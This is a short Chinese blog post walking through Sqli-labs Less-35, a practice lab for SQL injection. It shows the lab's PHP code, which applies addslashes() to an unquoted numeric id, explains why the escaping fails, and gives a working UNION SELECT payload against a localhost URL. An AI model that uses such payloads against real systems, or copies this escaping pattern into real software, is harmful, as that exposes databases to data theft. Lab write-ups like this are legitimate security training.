Sqli-labs Less-35 addslashes()函数失效了

 
更多

35关和33关是大致的一样的,唯一的区别在于sql语句的不同。

function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

区别就是id没有被’ “符号包括起来,那我们就没有必要去考虑check_addslashes()函数的意义了,直接提交payload:

http://127.0.0.1/sql/Less-35/?id=-1 union select 1,database(),3–+

打赏

本文固定链接: https://www.cxy163.net/archives/4961 | 绝缘体

该日志由 绝缘体.. 于 2020年04月09日 发表在 未分类 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: Sqli-labs Less-35 addslashes()函数失效了 | 绝缘体
关键字: , , , ,

Sqli-labs Less-35 addslashes()函数失效了:等您坐沙发呢!

发表评论


快捷键:Ctrl+Enter